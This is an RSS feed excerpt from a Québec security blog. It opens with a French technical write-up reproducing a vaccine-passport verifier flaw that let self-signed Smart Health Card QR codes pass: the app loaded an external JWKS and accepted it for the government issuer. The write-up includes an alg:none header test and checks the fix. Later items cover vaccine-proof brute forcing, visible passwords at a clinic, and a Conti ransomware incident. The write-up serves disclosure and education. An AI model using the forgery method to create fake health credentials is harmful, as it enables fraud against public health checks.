<p>Le concept de signature implique une clé privée et une clé publique. L’entité (le gouvernement du Québec) qui publie les données (le code QR représentant le SHC) utilise la clé privée pour signer celles-ci, et les applications qui les consomment utilisent la clé publique (l’app VaxiCode Verif) pour valider que ces données n’ont pas été modifiées par une personne malveillante. Sans entrer dans les détails, les données signées sont ensuite considérées comme sûres et vérifiables. Pour plus d’informations, nous vous invitons à consulter cet <a href="https://fr.wikipedia.org/wiki/Signature_numérique">article sur les signatures</a>.</p>

<p>Maintenant que nous savons que les données du SHC sont inviolables, que contient votre code QR? Celui-ci contient quelques informations, appelées <code class="language-plaintext highlighter-rouge">claims</code>.</p>

<p>Un premier claim, <code class="language-plaintext highlighter-rouge">iss</code> ou <em>issuer</em>, identifie l’entité qui publie ces données. Un autre, <code class="language-plaintext highlighter-rouge">iat</code> ou <em>issued at</em> indique la date où elles ont été publiées. Enfin, un claim nommé <code class="language-plaintext highlighter-rouge">vc</code> ou <em>verifiable credentials</em> contient les informations cruciales du SHC.</p>

<p>Sont présents dans ces dernières le type de données que le SHC contient (données d’immunisation, contexte COVID-19 et autres), et une liste d’entrées.</p>

<p>Une en particulier décrit le patient (vous) dont fait l’objet le SHC. Dans celle-ci, se trouvent <strong>uniquement</strong> votre prénom, nom de famille ainsi que votre date de naissance.</p>

<p>Ensuite, pour chaque dose de vaccin reçue, vous trouverez aussi les informations décrivant quel vaccin a été reçu, à quelle date et le nom de l’endroit où l’injection a été réalisée.</p>

<h2 id="la-vulnérabilité">La vulnérabilité</h2>

<p>Revenons maintenant à la problématique principale, soit la vulnérabilité contenue dans les version 1.0.1 et antérieures de l’app VaxiCode Verif.</p>

<p>Celle-ci permettrait à l’application de valider des codes qui n’ont pas été émis par le gouvernement du Québec. Par là, on entend qu’une personne serait en mesure d’émettre et signer elle-même un SHC, par ce fait réussissant à déjouer la vérification faite par l’application que les données qui y sont incluses sont bel et bien véridiques (signature) et cautionnées par la seule autorité ayant actuellement la capacité d’émettre les SHC (claim <code class="language-plaintext highlighter-rouge">iss</code>).</p>

<p>Cette vulnérabilité a été rendue publique en premier le vendredi 27 août 2021 dans <a href="https://ici.radio-canada.ca/nouvelle/1819589/passeport-vaccinal-faille-application-vaxicode">un article</a> de Radio-Canada.</p>

<h2 id="avenues-possibles-de-vulnérabilité">Avenues possibles de vulnérabilité</h2>

<p>Avant de valider la vulnérabilité de l’application de vérification, parcourons plusieurs problèmes communs dans l’implantation de validations de JWS et technologies similaires qui pourraient permettre un tel résultat.</p>

<p>La vulnérabilité ayant été trouvée moins de 24h après la sortie de l’application, il est peu probable que les failles soient le résultat d’opérations très compliquées. Commençons par ces quelques vérifications de base:</p>

<ol>
  <li>Les clés publiques sont bel et bien utilisées pour valider le contenu du JWS?</li>
  <li>La validation du claim <code class="language-plaintext highlighter-rouge">iss</code> se fait correctement?</li>
  <li>Les JWK externes sont-ils téléchargés et utilisés?</li>
  <li>Les clés sont-elles <em>bien</em> utilisées?</li>
  <li>Serait-ce possible que des modes de signature non sécuritaires soient permis (spécifiquement, <code class="language-plaintext highlighter-rouge">alg: "none"</code>)?</li>
</ol>

<h2 id="outils-utilisés">Outils utilisés</h2>

<p>Les outils communs suivants ont été utilisés pour la majorité des tests:</p>

<ul>
  <li><a href="https://github.com/http-party/http-server">http-server</a> pour servir des fichiers pendant les tests.</li>
  <li><a href="https://ngrok.com">ngrok</a> pour rendre le serveur disponible publiquement.</li>
  <li><a href="https://github.com/Path-Check/shc-sdk.js">@pathcheck/shc-sdk</a> pour facilement générer des SHC, JWKS et autres. Celle-ci utilise le package courant <a href="https://github.com/cisco/node-jose">node-jose</a>.</li>
  <li><a href="https://bramp.github.io/smart-health-card-scanner/">Smart Health Card Scanner</a> pour inspecter les SHC facilement.</li>
  <li>Une application de scan QR pour lire le contenu des codes QR.</li>
</ul>

<p>Pour valider <code class="language-plaintext highlighter-rouge">alg: "none"</code> ceux-ci ont été ajoutés à la liste:</p>

<ul>
  <li><a href="https://github.com/auth0/node-jwa">node-jwa</a> pour générer des JWS avec ce type d’algorithme.</li>
  <li><a href="https://datatracker.ietf.org/doc/html/rfc7518#section-8.5">pako</a> pour compresser le payload du JWS.</li>
</ul>

<h2 id="vérifications">Vérifications</h2>

<h3 id="utilisation-de-la-clé-publique-du-gouvernement-et-utilisation-du-claim-iss">Utilisation de la clé publique du gouvernement et utilisation du claim <code class="language-plaintext highlighter-rouge">iss</code></h3>

<p>Pour commencer, un QR existant a été scanné pour obtenir la chaine de caractères composant le SHC. Ce dernier a été ouvert dans le Smart Health Card Scanner pour rapidement visualiser son contenu.</p>

<p>Le contenu de celui-ci a été copié dans un script permettant de générer un nouveau SHC à l’aide de SHC-SDK, mais signé avec un JWK différent que celui de l’application. Le payload a été laissé identique.</p>

<p>Par la même occasion, on laisse le claim <code class="language-plaintext highlighter-rouge">iss</code> à l’identique pour valider que cela ne permet pas d’ignorer la validation de la signature.</p>

<p><strong>Résultat</strong>: VaxiCode Verif indique un message d’erreur: <em>Ce code QR n’est pas une preuve de vaccination valide</em>. On assume que la signature a bien été validée et que le claim <code class="language-plaintext highlighter-rouge">iss</code> ne permet pas de contourner celle-ci.</p>

<p><img src="https://media.hackfest.ca/images/posts/vaxicode-erreur-preuve-vaccination.webp" alt="Ce code QR n'est pas une preuve de vaccination valide" style="max-width: 320px" /></p>

<h3 id="les-jwk-externes">Les JWK externes</h3>

<p><a href="https://datatracker.ietf.org/doc/html/rfc7517">JWK est un format permettant l’échange de clés cryptographiques</a> qui est utilisé lors de la validation des signatures des SHC émis par le gouvernement. On parle de JWKS quand il s’agit d’un ensemble de clés (JSON Web Key Set).</p>

<p>Nous tentons d’importer un JWKS externe au chemin <code class="language-plaintext highlighter-rouge">.well-known/jwks.json</code>. Un serveur HTTP local très simple est mis en place derrière un tunnel pour le rendre disponible publiquement avec le protocole HTTPS. Le claim <code class="language-plaintext highlighter-rouge">iss</code> est changé pour le domaine du tunnel (pour référence, appelons le Serveur.Local). Un JWKS est lui aussi généré, puis placé dans le dossier <code class="language-plaintext highlighter-rouge">.well-known</code>, puis le SHC est généré est scanné. Le JWKS est donc accessible à l’adresse <code class="language-plaintext highlighter-rouge">https://Serveur.Local/.well-known/jwks.json</code>.</p>

<p><strong>Résultat</strong>: Le proxy indique avoir en effet reçu un appel à <code class="language-plaintext highlighter-rouge">GET /.well-known/jwks.json</code>. Au moment du scan, VaxiCode Verif indique une erreur: <em>Certifié par une autorité inconnue. Serveur.Local</em>. On assume que les JWK ont bien été importés. Cela est entièrement normal jusque là.</p>

<p><img src="https://media.hackfest.ca/images/posts/vaxicode-erreur-issuer.webp" alt="Certifié par une autorité inconnue. Serveur.Local" style="max-width: 320px" /></p>

<h3 id="usage-des-clés-publiques">Usage des clés publiques</h3>

<p>Nous tentons maintenant de voir si le JWK qui a été importé est uniquement utilisable par le issuer de celui-ci. Nous remettons le claim <code class="language-plaintext highlighter-rouge">iss</code> à sa valeur initiale (https://covid19.quebec.ca/PreuveVaccinaleApi/issuer) et générons un nouveau SHC, puis le scannons.</p>

<p><strong>Résultat</strong>: Le SHC est accepté comme véridique. <strong>Nous avons reproduit la vulnérabilité</strong>. Nous déduisons que le JWK qui a été importé à la dernière étape n’a pas été correctement marqué comme étant utilisable <strong>uniquement</strong> par le issuer Serveur.Local pour valider les signatures, et que le issuer https://covid19.quebec.ca/PreuveVaccinaleApi/issuer est maintenant capable de valider les signatures avec les clés de Serveur.Local, ce qui ne devrait jamais arriver.</p>

<p><img src="https://media.hackfest.ca/images/posts/vaxicode-preuve.webp" alt="SMART Health Card autorisé" style="max-width: 320px" /></p>

<h3 id="signatures-non-sécuritaires">Signatures non sécuritaires</h3>

<p>Un JWS conforme semblable au format SHC a aussi été créé et scanné, mais avec l’entête suivant:</p>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
  </span><span class="nl">"alg"</span><span class="p">:</span><span class="w"> </span><span class="s2">"none"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"zip"</span><span class="p">:</span><span class="w"> </span><span class="s2">"DEF"</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">alg: "none"</code> indique au vérificateur de signature qu’il n’y a <a href="https://datatracker.ietf.org/doc/html/rfc7518#section-8.5">pas de signature à vérifier</a>.</p>

<p><strong>Résultat</strong>: L’app VaxiCode Verif est simplement incapable de reconnaitre un code QR de ce type. Pas de vulnérabilité ici.</p>

<h2 id="analyse">Analyse</h2>

<p>Le problème causant la vulnérabilité est mentionné dans la spécification des SHC. C’est la responsabilité du groupe développant une application faisant usage de la norme SHC d’y porter attention. Le problème est décrit directement:</p>

<ol>
  <li>dans la spécification SHC, sections <a href="https://spec.smarthealth.cards/#signing-health-cards">Signing Health Cards</a> et <a href="https://spec.smarthealth.cards/#determining-keys-associated-with-an-issuer">Determining keys associated with an issuer</a> ainsi que</li>
  <li>dans la spécification JWS, section <a href="https://datatracker.ietf.org/doc/html/rfc7515#section-10.3">Key Origin Authentication</a>, de laquelle <a href="https://spec.smarthealth.cards/#health-cards-are-encoded-as-compact-serialization-json-web-signatures-jws">cette première hérite</a>.</li>
</ol>

<p>“10.3.  Key Origin Authentication:
The key management technique employed to obtain public keys must authenticate the origin of the key; otherwise, it is unknown what party signed the message.”</p>

<p><a href="https://datatracker.ietf.org/doc/html/rfc7515#section-10.3">Extrait de la spécification JWS</a></p>

<p>En termes plus clair, il faut s’assurer que la signature ne soit vérifiée <strong>seulement</strong> qu’avec les clés provenant de l’issuer, mais l’implantation dans l’application VaxiCode Verif ne le faisait pas pour les versions &lt;=1.0.1.</p>

<h2 id="les-codes-qr-sont-ils-compromis">Les codes QR sont-ils compromis?</h2>

<p><strong>Non.</strong> Tel que mentionné, les code QR qui contiennent les informations SHC sont conformes à la spécification et sont entièrement sécuritaires.</p>

<p>Ici, la première partie du problème réside sur le fait que les clés utilisées pour vérifier les codes ne sont pas <strong>uniquement</strong> associées à leurs émetteurs respectifs. Il s’agit d’une omission regrettable, cependant (et heureusement), celle-ci est facile à régler.</p>

<p>De plus, l’application ne devrait valider que les émetteurs de confiance, ce qui semble être le cas, mais qui reste à vérifier suite à la correction.</p>

<h2 id="validation-de-la-correction">Validation de la correction</h2>

<p>Le dimanche 29 août 2021, une nouvelle version de VaxiCode Verif, 1.0.2, a été publiée sur le Apple App Store. Les changements sont décrits ainsi:</p>

<blockquote>
  <ul>
    <li>Amélioration du vérificateur de preuves</li>
    <li>Améliorations pour les écrans de plus petite taille</li>
    <li>Améliorations d’accessibilité</li>
  </ul>
</blockquote>

<p>Nous avons utilisé la même marche à suivre que celle décrite plus haut pour tenter de valider le correctif.</p>

<p><strong>Résultat</strong>: La vulnérabilité a bien été corrigéée, et nous ne sommes plus capables de l’exploiter.</p>

<p>Sans avoir accès au code de l’application, il est difficile de décrire exactement les correctifs effectués. Cependant, nous sommes tout de même en mesure de faire quelques observations. La plus importante concerne le fait que l’application ne télécharge plus les JWKS externes au chemin <code class="language-plaintext highlighter-rouge">/.well-known/jwks.json</code> de l’issuer, elle n’est alors plus en mesure de faire ni l’importation, ni la validation des signatures générées avec des clés autres que celle du gouvernement. De plus, le message d’erreur affiché dans ce cas n’est plus <em>Certifié par une autorité inconnue. Serveur.Local</em>, mais bien <em>Ce code QR n’est pas une preuve de vaccination valide</em>.</p>

<p><img src="https://media.hackfest.ca/images/posts/vaxicode-erreur-correction.webp" alt="Ce code QR n'est pas une preuve de vaccination valide" style="max-width: 320px" /></p>

]]></content:encoded>
    </item>
    <item>
      <title>Vulnerabilities and the Vaccine Passport</title>
      <link>https://media.hackfest.ca/en/blog/vaccine-passport-vulnerabilities</link>
      <guid isPermaLink="true">https://media.hackfest.ca/en/blog/vaccine-passport-vulnerabilities</guid>
      <pubDate>Fri, 27 Aug 2021 10:00:00 +0000</pubDate>
      <dc:creator>Sam Harper</dc:creator>
      <dc:language>en-CA</dc:language>
      <category>Vulnerabilities</category>
      <category>vaccine passport</category>
      <category>QR code</category>
      <category>health</category>
      <description>Things must have been heating up in the offices of the Ministère de la Santé et des Services sociaux (MSSS) on Friday morning. After hammering home that using the QR code as proof of vaccination was 100% secure, two flaws were reported in the media. First, hackers demonstrated that it was possible to download proofs of vaccination that were not intended for them. Second, another individual demonstrated that it was possible to create fake QR codes from scratch. In less than 24 hours.</description>
      <enclosure url="https://media.hackfest.ca/images/posts/eff-dumpster-fire.webp" type="image/webp" length="0" />
      <content:encoded><![CDATA[<p><img src="https://media.hackfest.ca/images/posts/eff-dumpster-fire.webp" alt="Visible passwords" /></p>

<p>Things must have been heating up in the offices of the Ministère de la Santé et des Services sociaux (MSSS, Québec’s health and social services ministry) on Friday morning.</p>

<p>After hammering home that using the QR code as proof of vaccination was 100% secure, two flaws were reported in the media.</p>

<p>First, hackers demonstrated that it was possible to download proofs of vaccination that were not intended for them.</p>

<p>Second, another individual demonstrated that it was possible to create fake QR codes from scratch.</p>

<p>In less than 24 hours.</p>

<p>The MSSS’s initial reaction was to issue a press release stating that “formal complaints have already been filed with the police. The competent authorities will investigate and determine whether criminal charges should be laid.”</p>

<p>We understand their embarrassment. For weeks, the Ministry has been telling us that the chosen solution is secure. In its press release, it doubles down. “The MSSS reiterates that the QR code is secure,” it reads.</p>

<p>And yet, the proof of vaccination was easy to download. All you needed was the person’s name and date of birth. With this information and a few lines of code, you can deduce the health insurance number. Knowing the date and manufacturer of the first vaccine dose speeds up the process. This information is often easy to find on social media.</p>

<p>According to an anonymous source, some of the responses returned by the site made the task easier. “If you have the right health insurance [ number ], it tells you if the date is wrong,” he explained to us. In addition, another message lets you know if you provided the wrong manufacturer name.</p>

<p>According to this person, you are “able to make a lot of requests and nothing stops [ you ].”</p>

<p>Returning error messages this useful to a hacker is a practice to avoid. It gives clues, and it is the first thing a security researcher will look at.</p>

<p>Another security practice is to put measures in place to prevent “brute force”, that is, to prevent someone from trying every possible combination of a health insurance number until they find the right one.</p>

<p>This does not seem to have been done adequately.</p>

<p>Fortunately, these two flaws were found by people who had the common good in mind. An unscrupulous person could have sold their services creating fake QR codes. A malicious person could have publicly released the proofs of vaccination.
That is not what happened. The hackers who found these flaws contacted journalists. They wanted these risks to be known and taken seriously.</p>

<p>Instead of calling the police, perhaps we should consider thanking them.</p>

<p>There is currently no official mechanism for a hacker who has found a vulnerability to report it to the government.</p>

<p>It would be a good idea to set one up.</p>

<p>It would be more useful than repeating that everything is fine.</p>

<p>Photo credit: <a href="https://www.flickr.com/photos/electronicfrontierfoundation/">EFF</a> - <a href="https://creativecommons.org/licenses/by/2.0/">CC BY license</a></p>
]]></content:encoded>
    </item>
    <item>
      <title>Vulnérabilités et passeport vaccinal</title>
      <link>https://media.hackfest.ca/blog/vulnerabilite-passeport-vaccinal</link>
      <guid isPermaLink="true">https://media.hackfest.ca/blog/vulnerabilite-passeport-vaccinal</guid>
      <pubDate>Fri, 27 Aug 2021 10:00:00 +0000</pubDate>
      <dc:creator>Sam Harper</dc:creator>
      <dc:language>fr-CA</dc:language>
      <category>Vulnérabilités</category>
      <category>passeport vaccinal</category>
      <category>code QR</category>
      <category>santé</category>
      <description>Il devait faire chaud dans les bureaux du Ministère de la Santé et des Services sociaux (MSSS) vendredi matin. Après avoir martelé que l’utilisation du code QR comme preuve vaccinale était sécuritaire à 100%, voilà que deux failles sont rapportées dans les médias. Premièrement, des hackers ont démontré qu’il était possible de télécharger des preuves vaccinales qui ne nous sont pas destinées. Deuxièmement, un autre individu a démontré qu’il était possible de créer de faux code QR de toute pièce. En moins de 24 heures.</description>
      <enclosure url="https://media.hackfest.ca/images/posts/eff-dumpster-fire.webp" type="image/webp" length="0" />
      <content:encoded><![CDATA[<p><img src="https://media.hackfest.ca/images/posts/eff-dumpster-fire.webp" alt="Mots de passe visibles" /></p>

<p>Il devait faire chaud dans les bureaux du Ministère de la Santé et des Services sociaux (MSSS) vendredi matin.</p>

<p>Après avoir martelé que l’utilisation du code QR comme preuve vaccinale était sécuritaire à 100%, voilà que deux failles sont rapportées dans les médias.</p>

<p>Premièrement, des hackers ont démontré qu’il était possible de télécharger des preuves vaccinales qui ne nous sont pas destinées.</p>

<p>Deuxièmement, un autre individu a démontré qu’il était possible de créer de faux code QR de toute pièce.</p>

<p>En moins de 24 heures.</p>

<p>La réaction initiale du MSSS a été de diffuser un communiqué qui stipule que « des plaintes formelles ont déjà été déposées à la police. Les autorités compétentes feront enquête et détermineront si des accusations criminelles doivent être déposées. »</p>

<p>On comprend leur embarras. Cela fait des semaines que le Ministère nous dit que la solution envisagée est sécuritaire. Dans son communiqué, il persiste et signe. « Le MSSS réitère que le code QR est sécuritaire », peut-on y lire.</p>

<p>Pourtant, la preuve vaccinale était facile à télécharger. Il suffisait de connaître le nom et la date de naissance de la personne. Avec ces informations et quelques lignes de code, on peut déduire le numéro d’assurance maladie. Connaître la date d’administration et le manufacturier de la première dose du vaccin accélère le processus. Ces informations sont souvent faciles à trouver sur les réseaux sociaux.</p>

<p>Selon une source anonyme, certaines réponses renvoyées par le site facilitaient la tâche. « Si on a le bon [ numéro ] d’assurance maladie, ça nous dit si la date n’est pas bonne », nous a-t-il expliqué. De plus un autre message permet de savoir si on a fourni le mauvais nom de manufacturier.</p>

<p>Selon cette personne, on est « capable de faire beaucoup de requêtes et rien ne [ nous ] en empêche. »</p>

<p>Retourner des messages d’erreurs aussi utiles pour un hacker est une pratique à proscrire. Cela donne des indices et c’est la première chose qu’un chercheur en sécurité va regarder.</p>

<p>Une autre pratique de sécurité est de mettre en place des mesures pour empêcher la « force brute ». C’est-à-dire empêcher que l’on puisse essayer toutes les combinaisons possibles d’un numéro d’assurance maladie avant de trouver le bon.</p>

<p>Cela ne semble pas avoir été fait adéquatement.</p>

<p>Heureusement que ces deux failles ont été trouvées par des personnes ayant le bien commun en tête. Une personne peu scrupuleuse aurait pu vendre ses services de création de faux code QR. Une personne mal intentionnée aurait pu diffuser publiquement les preuves vaccinales.
Ce n’est pas ce qui s’est passé. Les hackers qui ont trouvé ces failles ont contacté des journalistes. Ils ont voulu que ces risques soient connus et pris au sérieux.</p>

<p>Au lieu d’appeler la police, on devrait peut-être songer à les remercier.</p>

<p>Il n’existe actuellement pas de mécanisme officiel pour qu’un ou une hacker ayant trouvé une vulnérabilité puisse la communiquer au gouvernement.</p>

<p>Ce serait une bonne idée de le mettre en place.</p>

<p>Ce serait plus utile que de répéter que tout va bien.</p>

<p>Crédit photo: <a href="https://www.flickr.com/photos/electronicfrontierfoundation/">EFF</a> - <a href="https://creativecommons.org/licenses/by/2.0/">licence CC BY</a></p>
]]></content:encoded>
    </item>
    <item>
      <title>Password Pains</title>
      <link>https://media.hackfest.ca/en/blog/passwords-on-display-cisss</link>
      <guid isPermaLink="true">https://media.hackfest.ca/en/blog/passwords-on-display-cisss</guid>
      <pubDate>Thu, 19 Aug 2021 10:00:00 +0000</pubDate>
      <dc:creator>Sam Harper</dc:creator>
      <dc:language>en-CA</dc:language>
      <category>Leaks &amp; privacy</category>
      <category>passwords</category>
      <category>health</category>
      <description>Recently, an anonymous source sent a photo to Hackfest. This person had gone to a CLSC in the Québec City region. At the front desk sat a computer. On it, the passwords were clearly displayed. Really, plainly visible. They hadn’t been scribbled on a Post-it. No. Someone had gone to the trouble of doing a nice job.</description>
      <enclosure url="https://media.hackfest.ca/images/posts/mdp-visible-cisss.webp" type="image/webp" length="0" />
      <content:encoded><![CDATA[<p><img src="https://media.hackfest.ca/images/posts/mdp-visible-cisss.webp" alt="Visible passwords" /></p>

<p>Before I hung up my white coat, I was a family doctor at a CLSC in downtown Montréal. Every month, the system asked me to change my password. This message was usually preceded by several others warning me that the password would have to be changed in x days.</p>

<p>I had gotten into the habit of ignoring them.</p>

<p>It’s a law of nature that the final message, like a Windows update, always arrives at the worst possible moment.</p>

<p>It usually happened when I was busy and tired. I had possibly just spent 24 hours in the hospital delivery room catching babies, and I had 14 phone messages to return, four faxes to send, illegible reports to decipher and people waiting for me in the waiting room.</p>

<p>When I started at the CLSC, the system administrator had given me a “temporary” password. For all practical purposes, I kept it for 5 years.</p>

<p>It was something like “samhar01”.</p>

<p>There was a rule preventing the reuse of recent passwords. But I quickly realized that once I got to samhar09, I could start over at 01. It was very convenient.</p>

<p>The problem is that I had never considered the risk this posed, and nobody ever brought it up with me.</p>

<p>Recently, an anonymous source sent a photo to Hackfest. This person had gone to a CLSC in the Québec City region. At the front desk sat a computer. On it, the passwords were clearly displayed. Really, plainly visible. They hadn’t been scribbled on a Post-it. No. Someone had gone to the trouble of doing a nice job.</p>

<p>I contacted the CISSS (Centre intégré de santé et de services sociaux, the integrated health and social services centre). Ms. Maryse Rodrigue, from the communications department, replied that the CISSS “[ regularly ] reminds employees about the confidentiality of access codes and passwords, and that there is a policy on this matter.”</p>

<p>The spokesperson also assured me that there would be a follow-up “to rectify the situation”.</p>

<p>The goal here is not to point fingers at the employee who stuck their password on the computer. It is risky behaviour. Unfortunately, experience shows that the more restrictive certain rules and practices become, the more people find ways to get around them. Moreover, training on “why” this behaviour is risky is often lacking.</p>

<p>I asked Vincent Tremblay, a cybersecurity specialist and Hackfest organizer, whether organizations should require their employees to change their passwords often. He told me that “password policies are a double-edged sword. Too complicated? People will do anything to bypass them or just won’t care, and we’re back to square one. Too simple, but you have to change it too often? You can expect ticket #1 to be ‘I forgot my password and it won’t let me change it’.”</p>

<p>So, what do we do?</p>

<p>The solution lies in awareness and education. Authentication isn’t there to annoy us, but to protect highly sensitive and confidential data. Understanding the “why” is essential. Because yes, if we don’t understand its importance, security is often perceived as an obstacle.</p>

<p>While we wait for “passwordless authentication”, we can drop certain outdated practices and use passphrases, relaxing the rules on password complexity and frequent rotation.</p>

<p>Above all, we need to create an environment where employees have the time they need to devote to good information security practices.</p>

<p>We could also stop using the fax machine, but that’s a topic for another day.</p>
]]></content:encoded>
    </item>
    <item>
      <title>Maux de passe</title>
      <link>https://media.hackfest.ca/blog/mot-de-passe-cisss</link>
      <guid isPermaLink="true">https://media.hackfest.ca/blog/mot-de-passe-cisss</guid>
      <pubDate>Thu, 19 Aug 2021 10:00:00 +0000</pubDate>
      <dc:creator>Sam Harper</dc:creator>
      <dc:language>fr-CA</dc:language>
      <category>Fuites &amp; vie privée</category>
      <category>mots de passe</category>
      <category>santé</category>
      <description>Récemment, une source anonyme a fait parvenir une photo au Hackfest. Cette personne est allée dans un CLSC de la région de Québec. À l’accueil se trouvait un ordinateur. Sur celui-ci, on voyait les mots de passe clairement affichés. Vraiment bien visible. Cela n’avait pas été gribouillé sur un post-it. Non. On s’était forcé pour faire du beau travail.</description>
      <enclosure url="https://media.hackfest.ca/images/posts/mdp-visible-cisss.webp" type="image/webp" length="0" />
      <content:encoded><![CDATA[<p><img src="https://media.hackfest.ca/images/posts/mdp-visible-cisss.webp" alt="Mots de passe visibles" /></p>

<p>Avant de défroquer, j’étais médecin de famille dans un CLSC du centre-ville de Montréal. Tous les mois, le système me demandait de changer de mot de passe. Ce message était habituellement précédé de plusieurs autres messages m’avisant que le mot de passe allait devoir être changé dans x jours.</p>

<p>J’avais pris l’habitude d’ignorer ceux-ci.</p>

<p>C’est une loi de la nature, que le message final, comme la mise à jour de Windows, arrive tout le temps au pire moment.</p>

<p>Cela arrivait habituellement lorsque j’étais occupé et fatigué. Je venais possiblement de passer 24 heures à la salle d’accouchement de l’hôpital à attraper des bébés et j’avais 14 messages téléphoniques à retourner, quatre fax à envoyer, des rapports illisibles à déchiffrer et des gens qui m’attendaient dans la salle d’attente.</p>

<p>En arrivant au CLSC, l’administrateur du système m’avait donné un mot de passe « temporaire ». Je l’ai conservé, à toute fin pratique, pendant 5 ans.</p>

<p>C’était quelque chose comme « samhar01 ».</p>

<p>Il y avait une règle qui empêchait la réutilisation des derniers mots de passe. Mais j’ai rapidement réalisé qu’une fois rendu à samhar09, je pouvais recommencer à 01. C’était bien pratique.</p>

<p>Le problème c’est que je n’avais jamais considéré le risque que cela posait et personne ne m’en a parlé.</p>

<p>Récemment, une source anonyme a fait parvenir une photo au Hackfest. Cette personne est allée dans un CLSC de la région de Québec. À l’accueil se trouvait un ordinateur. Sur celui-ci, on voyait les mots de passe clairement affichés. Vraiment bien visible. Cela n’avait pas été gribouillé sur un post-it. Non. On s’était forcé pour faire du beau travail.</p>

<p>J’ai contacté le CISSS (Centre Intégré de Santé et de Services sociaux). Madame Maryse Rodrigue, du service des communications, a répondu que le CISSS « [ fait ] régulièrement des rappels aux employés à propos de la confidentialité des codes d’accès et mots de passe et qu’il existe une politique à ce propos. »</p>

<p>La porte-parole m’a également assuré qu’un suivi serait fait « pour rectifier la situation ».</p>

<p>L’objectif ici n’est pas de jeter la pierre à l’employé ou l’employée qui a collé son mot de passe sur l’ordinateur. C’est un comportement risqué. Malheureusement, l’expérience montre que plus certaines règles et pratiques deviennent contraignantes et plus les gens trouvent des façons de les contourner. De plus, la formation sur le « pourquoi » ce comportement est risqué fait souvent défaut.</p>

<p>J’ai demandé à Vincent Tremblay, un spécialiste en cybersécurité et membre organisateur du Hackfest, si les organisations devaient obliger leurs employés à changer souvent de mots de passe. Il m’a répondu que « les politiques de mots de passe sont un couteau à double tranchant. Trop compliqué ? Le monde va tout faire pour bypasser ça ou s’en balancer et on est de retour à la case zéro. Trop simple, mais on doit changer trop souvent ? On devra s’attendre à ce que le ticket #1 soit “J’ai oublié mon mot de passe et ça ne me laisse pas le changer”. »</p>

<p>Alors, qu’est-ce qu’on fait ?</p>

<p>La solution passe par la sensibilisation et l’éducation. L’authentification n’est pas là pour nous faire suer, mais pour protéger des données hautement sensibles et confidentielles. Comprendre le « pourquoi » est primordial. Car oui, si l’on n’en comprend pas l’importance, la sécurité est souvent perçue comme un obstacle.</p>

<p>En attendant le « passwordless authentication », on peut laisser tomber certaines pratiques désuètes et utiliser des phrases de passe en assouplissant les règles de complexité et de rotation rapide des mots de passe.</p>

<p>On doit surtout créer un environnement ou les employés et employées ont le temps nécessaire à consacrer aux bonnes pratiques en sécurité de l’information.</p>

<p>On peut aussi arrêter d’utiliser le fax, mais ça, c’est un sujet pour un autre jour.</p>
]]></content:encoded>
    </item>
    <item>
      <title>Lareau insurance brokers hit by ransomware</title>
      <link>https://media.hackfest.ca/en/blog/lareau-insurance-brokers-ransomware</link>
      <guid isPermaLink="true">https://media.hackfest.ca/en/blog/lareau-insurance-brokers-ransomware</guid>
      <pubDate>Fri, 06 Aug 2021 10:00:00 +0000</pubDate>
      <dc:creator>Sam Harper</dc:creator>
      <dc:language>en-CA</dc:language>
      <category>Ransomware</category>
      <category>Conti</category>
      <category>insurance</category>
      <description>The day after Québec’s Fête nationale, a criminal group claimed an attack against Lareau courtiers d’assurances. Security experts worry that this attack could be used to target other Québec companies.</description>
      <enclosure url="https://media.hackfest.ca/images/posts/lareau-rancon.webp" type="image/webp" length="0" />
      <content:encoded><![CDATA[<p><img src="https://media.hackfest.ca/images/posts/lareau-rancon.webp" alt="lareau" /></p>

<p>The day after Québec’s Fête nationale, a criminal group claimed an attack against Lareau courtiers d’assurances. Security experts worry that this attack could be used to target other Québec companies.</p>

<p>On June 25, the Conti ransomware group publicized attacks against several new victims. Among them was the company headquartered in Napierville.</p>

<p>The criminals published a list of devices belonging to the company as well as a list of encrypted passwords. These use the standard encryption of the Windows operating system. According to our analysis, some of them were fairly easy to crack. For now, no personal data has been released on the ransom group’s website.</p>

<p>Once they have access to a network, these groups usually deploy ransomware. This is a program that encrypts data and renders it unusable. A key is needed to recover it. To increase pressure on their victims, they usually threaten to publicly release the information they have stolen.</p>

<p>Lareau has 8 branches in Québec and a team of more than 180 professionals. According to its website, Lareau offers cyber-risk protection.</p>

<p>Targeting a company offering this type of coverage is “the perfect recipe,” according to Steve Waterhouse, a former cyber defence officer in the Canadian Armed Forces. According to the security expert, this attack could help the attackers target their next victims. It allows them to adjust their ransom demands based on the victims’ ability to pay. “It’s brilliant. It lets them do a roaring trade,” he adds.</p>

<p>Lareau did not respond to our requests for information. For Mr. Waterhouse, companies are very reluctant to talk about these incidents because they fear for their reputation. “Security through obscurity should no longer have a place,” he laments.</p>

<p>Photo credit: <a href="https://www.flickr.com/photos/bg_dn/">begemot_dn</a> - <a href="https://creativecommons.org/licenses/by-nc/2.0/">CC BY-NC license</a></p>
]]></content:encoded>
    </item>
    <item>
      <title>Lareau courtiers d&apos;assurances victimes d&apos;un rançongiciel</title>
      <link>https://media.hackfest.ca/blog/courtiers-assurances-victime-dune-breche</link>
      <guid isPermaLink="true">https://media.hackfest.ca/blog/courtiers-assurances-victime-dune-breche</guid>
      <pubDate>Fri, 06 Aug 2021 10:00:00 +0000</pubDate>
      <dc:creator>Sam Harper</dc:creator>
      <dc:language>fr-CA</dc:language>
      <category>Rançongiciels</category>
      <category>Conti</category>
      <category>assurances</category>
      <description>Le lendemain de la fête nationale du Québec, un groupe criminel a revendiqué une attaque contre Lareau courtiers d’assurances. Des experts en sécurité s’inquiètent que cette attaque pourrait servir à cibler d’autres entreprises québécoises.</description>
      <enclosure url="https://media.hackfest.ca/images/posts/lareau-rancon.webp" type="image/webp" length="0" />
      <content:encoded><![CDATA[<p><img src="https://media.hackfest.ca/images/posts/lareau-rancon.webp" alt="lareau" /></p>

<p>Le lendemain de la fête nationale du Québec, un groupe criminel a revendiqué une attaque contre Lareau courtiers d’assurances. Des experts en sécurité s’inquiètent que cette attaque pourrait servir à cibler d’autres entreprises québécoises.</p>

<p>Le 25 juin dernier, le groupe de rançongiciel Conti a publicisé des attaques contre plusieurs nouvelles victimes. Parmi celles-ci se trouvait l’entreprise dont le siège social est basé à Napierville.</p>

